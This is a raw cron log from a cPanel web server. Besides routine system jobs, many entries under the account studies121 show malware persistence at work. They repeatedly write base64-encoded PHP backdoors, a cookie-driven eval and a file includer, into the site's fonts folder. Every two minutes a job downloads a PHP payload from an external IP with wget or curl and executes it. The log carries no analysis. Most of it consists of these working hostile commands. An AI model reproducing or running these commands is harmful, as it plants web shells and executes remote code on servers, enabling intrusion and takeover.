Sep 22 21:22:01 ip-184-168-122-23 CROND[27271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:22:01 ip-184-168-122-23 CROND[27273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:23:01 ip-184-168-122-23 CROND[27456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:23:01 ip-184-168-122-23 CROND[27455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:23:01 ip-184-168-122-23 CROND[27459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:23:01 ip-184-168-122-23 CROND[27461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:24:01 ip-184-168-122-23 CROND[27641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:24:01 ip-184-168-122-23 CROND[27643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:24:01 ip-184-168-122-23 CROND[27645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:24:01 ip-184-168-122-23 CROND[27648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:24:01 ip-184-168-122-23 CROND[27651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:25:01 ip-184-168-122-23 CROND[27797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:25:01 ip-184-168-122-23 CROND[27798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:25:01 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:25:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:25:01 ip-184-168-122-23 CROND[27803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:25:01 ip-184-168-122-23 CROND[27802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:26:01 ip-184-168-122-23 CROND[27918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:26:01 ip-184-168-122-23 CROND[27920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:26:01 ip-184-168-122-23 CROND[27921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:26:01 ip-184-168-122-23 CROND[27923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:26:01 ip-184-168-122-23 CROND[27924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:27:02 ip-184-168-122-23 CROND[28066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:27:02 ip-184-168-122-23 CROND[28069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:27:02 ip-184-168-122-23 CROND[28068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:27:02 ip-184-168-122-23 CROND[28070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:28:01 ip-184-168-122-23 CROND[28230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:28:01 ip-184-168-122-23 CROND[28231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:28:01 ip-184-168-122-23 CROND[28232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:28:01 ip-184-168-122-23 CROND[28233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:28:01 ip-184-168-122-23 CROND[28235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:29:01 ip-184-168-122-23 CROND[28354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:29:01 ip-184-168-122-23 CROND[28355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:29:02 ip-184-168-122-23 CROND[28357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:29:02 ip-184-168-122-23 CROND[28358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:30:01 ip-184-168-122-23 CROND[29260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:30:01 ip-184-168-122-23 CROND[29256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:30:01 ip-184-168-122-23 CROND[29263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:31:02 ip-184-168-122-23 CROND[30951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 21:31:02 ip-184-168-122-23 CROND[30955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:31:02 ip-184-168-122-23 CROND[30954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:31:02 ip-184-168-122-23 CROND[30953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:31:02 ip-184-168-122-23 CROND[30956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:32:01 ip-184-168-122-23 CROND[32448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:32:01 ip-184-168-122-23 CROND[32450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:32:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:32:01 ip-184-168-122-23 CROND[32453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:32:01 ip-184-168-122-23 CROND[32452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:33:01 ip-184-168-122-23 CROND[1850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:33:01 ip-184-168-122-23 CROND[1852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:33:01 ip-184-168-122-23 CROND[1854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:33:01 ip-184-168-122-23 CROND[1853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:34:01 ip-184-168-122-23 CROND[3205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 21:34:01 ip-184-168-122-23 CROND[3212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 21:34:01 ip-184-168-122-23 CROND[3213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 21:34:01 ip-184-168-122-23 CROND[3211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 21:34:01 ip-184-168-122-23 CROND[3214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 21:35:01 ip-184-168-122-23 CROND[4758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
